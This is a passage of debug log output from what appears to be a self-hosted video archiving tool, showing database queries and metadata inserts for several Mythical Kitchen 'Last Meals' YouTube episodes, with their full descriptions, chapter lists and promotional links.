Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.", "Noah Kahan Eats His Last Meal", "https://www.youtube.com/watch?v=uEQ6z0rbn30", "uEQ6z0rbn30", 3941, false, "/downloads/Last Meals/2026-02-17 Noah Kahan Eats His Last Meal/Noah Kahan Eats His Last Meal [uEQ6z0rbn30].mp4", false, 1, ~U[2026-02-17 11:01:31Z]] 20:48:53.745 [debug] QUERY OK source="sources" db=0.2ms idle=602.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:48:53.745 [debug] QUERY OK source="media_profiles" db=0.3ms idle=7.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:48:53.746 [debug] QUERY OK source="media_items" db=0.3ms idle=6.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [90] 20:48:53.746 [info] Kicking off download for media item #90 (uEQ6z0rbn30) 20:48:53.748 [debug] QUERY OK source="tasks" db=0.3ms idle=3.4ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [89, 90, ~U[2026-03-28 00:48:53Z], ~U[2026-03-28 00:48:53Z]] 20:48:53.749 [debug] Current batch of media processed. Will check again in 1000ms 20:48:54.749 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, Try Guy Keith Habersberger eats his last meal.\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Keith's Last Meal\n0:22 The Benjamin Franklin Pop-Tart Challenge\n2:06 Have You Thought About Your Last Meal Before?\n3:14 1st Course\n5:01 Chickenwatch Mentioned\n7:00 Growing Up In Tennessee\n8:11 Eat The Menu & Keith's Fascination with Fast Food\n11:45 Shaking Butts At The Happy J Skating Rink\n13:05 Playing the Villain in Church Plays\n16:29 2nd Course\n17:36 Chicago Pizza Memories\n19:03 The Inner Desire to Perform\n23:00 The Power of Teachers & Mentors\n25:00 Keith Almost Worked at Jimmy Johns\n28:30 3rd Course\n30:46 NO KINGS\n31:57 Offloading Your Memories To The Internet\n33:36 Meeting MISS PIGGY\n34:49 Saving Some Experiences For Yourself\n36:27 Connecting to Others through Food\n38:26 Oscha vs. Mscha\n40:42 4th Course\n42:58 Eating Korean BBQ With Anthony Bordain\n44:38 Try Guys Exists Because Of Facebook & Women's Underwear\n45:50 SOMETIMES Work for Free\n47:55 Did You Ever Want To Walk Away After The Scandal?\n52:11 Puppy Interview Lore\n54:03 5th Course\n57:03 Honoring Daddy\n1:00:36 Caring For Others & Yourself\n1:02:30 The Best Explanation Of Ancient Text\n1:05:09 What Do You Think Happens When You Die?\n1:05:50 Lightning Round\n1:06:41 Keith's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.", "duration" => 4087, "filename" => "/downloads/Last Meals/2026-01-27 Try Guys' Keith Habersberger Eats His Last Meal/Try Guys' Keith Habersberger Eats His Last Meal [km6sdtqn5dA].mp4", "id" => "km6sdtqn5dA", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=km6sdtqn5dA", "playlist_index" => 76, "timestamp" => 1769511678, "title" => "Try Guys' Keith Habersberger Eats His Last Meal", "upload_date" => "20260127"} 20:48:54.750 [debug] QUERY OK source="sources" db=0.1ms idle=1003.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:48:54.750 [debug] QUERY OK source="sources" db=0.1ms idle=1002.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:48:54.751 [debug] QUERY OK source="media_items" db=0.2ms idle=1002.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-27 11:01:18Z], 1] 20:48:54.752 [debug] QUERY OK source="media_items" db=1.1ms idle=1002.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Try Guy Keith Habersberger eats his last meal.\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Keith's Last Meal\n0:22 The Benjamin Franklin Pop-Tart Challenge\n2:06 Have You Thought About Your Last Meal Before?\n3:14 1st Course\n5:01 Chickenwatch Mentioned\n7:00 Growing Up In Tennessee\n8:11 Eat The Menu & Keith's Fascination with Fast Food\n11:45 Shaking Butts At The Happy J Skating Rink\n13:05 Playing the Villain in Church Plays\n16:29 2nd Course\n17:36 Chicago Pizza Memories\n19:03 The Inner Desire to Perform\n23:00 The Power of Teachers & Mentors\n25:00 Keith Almost Worked at Jimmy Johns\n28:30 3rd Course\n30:46 NO KINGS\n31:57 Offloading Your Memories To The Internet\n33:36 Meeting MISS PIGGY\n34:49 Saving Some Experiences For Yourself\n36:27 Connecting to Others through Food\n38:26 Oscha vs. Mscha\n40:42 4th Course\n42:58 Eating Korean BBQ With Anthony Bordain\n44:38 Try Guys Exists Because Of Facebook & Women's Underwear\n45:50 SOMETIMES Work for Free\n47:55 Did You Ever Want To Walk Away After The Scandal?\n52:11 Puppy Interview Lore\n54:03 5th Course\n57:03 Honoring Daddy\n1:00:36 Caring For Others & Yourself\n1:02:30 The Best Explanation Of Ancient Text\n1:05:09 What Do You Think Happens When You Die?\n1:05:50 Lightning Round\n1:06:41 Keith's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.", "Try Guys' Keith Habersberger Eats His Last Meal", "36fabdc4-a7f2-44dd-950a-4ca8038df181", "https://www.youtube.com/watch?v=km6sdtqn5dA", false, "km6sdtqn5dA", 4087, false, 76, "/downloads/Last Meals/2026-01-27 Try Guys' Keith Habersberger Eats His Last Meal/Try Guys' Keith Habersberger Eats His Last Meal [km6sdtqn5dA].mp4", false, false, 1, [], 0, ~U[2026-01-27 11:01:18Z], ~U[2026-03-28 00:48:54Z], ~U[2026-03-28 00:48:54Z], "Today, Try Guy Keith Habersberger eats his last meal.\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Keith's Last Meal\n0:22 The Benjamin Franklin Pop-Tart Challenge\n2:06 Have You Thought About Your Last Meal Before?\n3:14 1st Course\n5:01 Chickenwatch Mentioned\n7:00 Growing Up In Tennessee\n8:11 Eat The Menu & Keith's Fascination with Fast Food\n11:45 Shaking Butts At The Happy J Skating Rink\n13:05 Playing the Villain in Church Plays\n16:29 2nd Course\n17:36 Chicago Pizza Memories\n19:03 The Inner Desire to Perform\n23:00 The Power of Teachers & Mentors\n25:00 Keith Almost Worked at Jimmy Johns\n28:30 3rd Course\n30:46 NO KINGS\n31:57 Offloading Your Memories To The Internet\n33:36 Meeting MISS PIGGY\n34:49 Saving Some Experiences For Yourself\n36:27 Connecting to Others through Food\n38:26 Oscha vs. Mscha\n40:42 4th Course\n42:58 Eating Korean BBQ With Anthony Bordain\n44:38 Try Guys Exists Because Of Facebook & Women's Underwear\n45:50 SOMETIMES Work for Free\n47:55 Did You Ever Want To Walk Away After The Scandal?\n52:11 Puppy Interview Lore\n54:03 5th Course\n57:03 Honoring Daddy\n1:00:36 Caring For Others & Yourself\n1:02:30 The Best Explanation Of Ancient Text\n1:05:09 What Do You Think Happens When You Die?\n1:05:50 Lightning Round\n1:06:41 Keith's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.", "Try Guys' Keith Habersberger Eats His Last Meal", "https://www.youtube.com/watch?v=km6sdtqn5dA", "km6sdtqn5dA", 4087, false, "/downloads/Last Meals/2026-01-27 Try Guys' Keith Habersberger Eats His Last Meal/Try Guys' Keith Habersberger Eats His Last Meal [km6sdtqn5dA].mp4", false, 1, ~U[2026-01-27 11:01:18Z]] 20:48:54.752 [debug] QUERY OK source="sources" db=0.1ms idle=609.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:48:54.753 [debug] QUERY OK source="media_profiles" db=0.0ms idle=2.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:48:54.753 [debug] QUERY OK source="media_items" db=0.1ms idle=2.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [91] 20:48:54.753 [info] Kicking off download for media item #91 (km6sdtqn5dA) 20:48:54.754 [debug] QUERY OK source="tasks" db=0.0ms idle=1.3ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [90, 91, ~U[2026-03-28 00:48:54Z], ~U[2026-03-28 00:48:54Z]] 20:48:54.754 [debug] Current batch of media processed. Will check again in 1000ms 20:48:55.755 [debug] Current batch of media processed. Will check again in 1000ms 20:48:56.757 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, Gaten Matarazzo is eating his last meal.\n\nLEGO Star Wars: Rebuild the Galaxy” – “Four-piece” animated special is now streaming on Disney+!\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\n0:00 Gaten's Last Meal\n1:26 Have You Thought About Your Last Meal Before?\n3:01 1st Course\n5:54 Joining The Star Wars Story\n8:09 Audition Setbacks At A Young Age\n12:01 2nd Course\n13:46 The End Of Stranger Things\n15:39 Stranger Things College\n19:00 Backstage At Sweeney Todd\n19:50 3rd Course\n20:58 Poison & Poop Handshakes\n22:43 New Food Break Rule\n23:37 Growing Up With Cleidocranial Dysplasia\n29:26 4th Course\n32:19 Dealing With Death\n34:40 Spirituality & What Happens After Death\n38:43 Lightning Round\n41:23 Gaten's Last Words\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n(As an Amazon Associate, we earn from qualifying purchases from paid links below)\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_=ast_bbp_dp&th=1&psc=1", "duration" => 2534, "filename" => "/downloads/Last Meals/2024-10-03 Stranger Things' Gaten Matarazzo Eats His Last Meal/Stranger Things' Gaten Matarazzo Eats His Last Meal [RG_jhSou0S4].mp4", "id" => "RG_jhSou0S4", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=RG_jhSou0S4", "playlist_index" => 77, "timestamp" => 1727949625, "title" => "Stranger Things' Gaten Matarazzo Eats His Last Meal", "upload_date" => "20241003"} 20:48:56.757 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=699.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:48:56.758 [debug] QUERY OK source="sources" db=0.3ms idle=700.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:48:56.759 [debug] QUERY OK source="media_items" db=0.6ms idle=701.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-10-03 10:00:25Z], 1] 20:48:56.764 [debug] QUERY OK source="media_items" db=3.2ms idle=702.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Gaten Matarazzo is eating his last meal.\n\nLEGO Star Wars: Rebuild the Galaxy” – “Four-piece” animated special is now streaming on Disney+!\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\n0:00 Gaten's Last Meal\n1:26 Have You Thought About Your Last Meal Before?\n3:01 1st Course\n5:54 Joining The Star Wars Story\n8:09 Audition Setbacks At A Young Age\n12:01 2nd Course\n13:46 The End Of Stranger Things\n15:39 Stranger Things College\n19:00 Backstage At Sweeney Todd\n19:50 3rd Course\n20:58 Poison & Poop Handshakes\n22:43 New Food Break Rule\n23:37 Growing Up With Cleidocranial Dysplasia\n29:26 4th Course\n32:19 Dealing With Death\n34:40 Spirituality & What Happens After Death\n38:43 Lightning Round\n41:23 Gaten's Last Words\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n(As an Amazon Associate, we earn from qualifying purchases from paid links below)\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_=ast_bbp_dp&th=1&psc=1", "Stranger Things' Gaten Matarazzo Eats His Last Meal", "cade8cd3-be2c-4029-adcd-0d6491910704", "https://www.youtube.com/watch?v=RG_jhSou0S4", false, "RG_jhSou0S4", 2534, false, 77, "/downloads/Last Meals/2024-10-03 Stranger Things' Gaten Matarazzo Eats His Last Meal/Stranger Things' Gaten Matarazzo Eats His Last Meal [RG_jhSou0S4].mp4", false, false, 1, [], 0, ~U[2024-10-03 10:00:25Z], ~U[2026-03-28 00:48:56Z], ~U[2026-03-28 00:48:56Z], "Today, Gaten Matarazzo is eating his last 